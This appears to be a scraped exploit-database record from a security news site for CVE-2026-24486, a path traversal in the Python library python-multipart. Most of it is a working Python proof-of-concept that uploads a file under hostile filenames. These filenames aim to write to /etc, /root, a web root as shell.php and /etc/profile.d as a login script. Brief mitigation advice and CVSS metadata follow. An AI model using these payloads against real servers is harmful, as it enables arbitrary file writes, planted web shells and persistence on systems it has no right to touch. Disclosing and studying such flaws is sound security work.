{“lastseen”:”2026-05-05T22:30:29″,”description”:”Python-Multipart version 0.0.22 suffers from a path traversal vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Python-Multipart 0.0.22 Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:220400″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24486″],”sourceData”:”# Exploit Title: Python-Multipart 0.0.22 – Path Traversal \\n # Date: 2026-02-23\\n # Exploit Author: cardosource\\n # Vendor Homepage: https:\/\/github.com\/Kludex\/python-multipart\\n # Software Link: https:\/\/pypi.org\/project\/python-multipart\/\\n # Version: \\u003c 0.0.22 (REQUIRED)\\n # Tested on: Ubuntu \/ Python 3.13.5 \/ Docker (as root for demo)\\n # CVE : CVE-2026-24486\\n \\n \\”\\”\\”\\n PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.\\n Allows arbitrary file write via malicious filename.\\n \\n \\”\\”\\”\\n \\n import requests\\n import time\\n import os\\n import sys\\n \\n \\n TARGET_URL = \\”http:\/\/localhost:8000\/upload\\” \\n SOURCE_FILE = \\”\/etc\/hosts\\” # Small file to upload (content written to target)\\n \\n if not os.path.exists(SOURCE_FILE):\\n print(f\\”[!] Source file not found: {SOURCE_FILE}\\”)\\n sys.exit(1)\\n \\n # Malicious filenames (payloads)\\n payloads = [\\n \\”\/tmp\/poc-abs.txt\\”,\\n \\”\/etc\/poc-etc.txt\\”,\\n \\”\/root\/poc-root.txt\\”,\\n \\”..\/..\/var\/www\/html\/shell.php\\”,\\n \\”..\/..\/etc\/profile.d\/mal.sh\\”,\\n \\”..\/..\/..\/tmp\/poc-deep.txt\\”,\\n \\”..\/..\/etc\/passwd%00.txt\\”,\\n \\”\/\/etc\/\/poc-double-slash.txt\\”,\\n ]\\n \\n print(\\”[*] CVE-2026-24486 PoC\\”)\\n print(f\\”[*] Target: {TARGET_URL}\\”)\\n print(f\\”[*] Using source file: {SOURCE_FILE}\\”)\\n print(f\\”[*] Testing {len(payloads)} payloads…\\\\n\\”)\\n \\n for i, filename in enumerate(payloads, 1):\\n print(f\\”[{i}\/{len(payloads)}] Testing: {filename}\\”)\\n \\n try:\\n files = {\\n ‘file’: (filename, open(SOURCE_FILE, ‘rb’), ‘text\/plain’)\\n }\\n \\n r = requests.post(TARGET_URL, files=files, timeout=8)\\n \\n print(f\\” Status: {r.status_code}\\”)\\n if r.text.strip():\\n print(f\\” Response: {r.text.strip()}\\”)\\n else:\\n print(\\” Response: (empty)\\”)\\n \\n except Exception as e:\\n print(f\\” Error: {e}\\”)\\n \\n print(\\”-\\” * 50)\\n time.sleep(1.0)\\n \\n print(\\”\\\\n[*] Done.\\”)\\n print(\\”Verify files in container:\\”)\\n print(\\” docker exec -it vuln-poc find \/ -name ‘*poc*’ -o -name ‘*shell*’ 2\\u003e\/dev\/null\\”)\\n print(\\”\\\\nMitigation:\\”)\\n print(\\” – Upgrade: pip install python-multipart\\u003e=0.0.22\\”)\\n print(\\” – Avoid UPLOAD_KEEP_FILENAME=True\\”)\\n print(\\” – Sanitize: filename = os.path.basename(file.filename)\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220400″,”cvss”:{“score”:8.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:H\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220400\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T22:30:29″,”description”:”Python-Multipart version 0.0.22 suffers from a path traversal vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Python-Multipart 0.0.22 Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:220400″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24486″],”sourceData”:”# Exploit Title: Python-Multipart 0.0.22 – Path Traversal \\n # Date: 2026-02-23\\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-51610","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n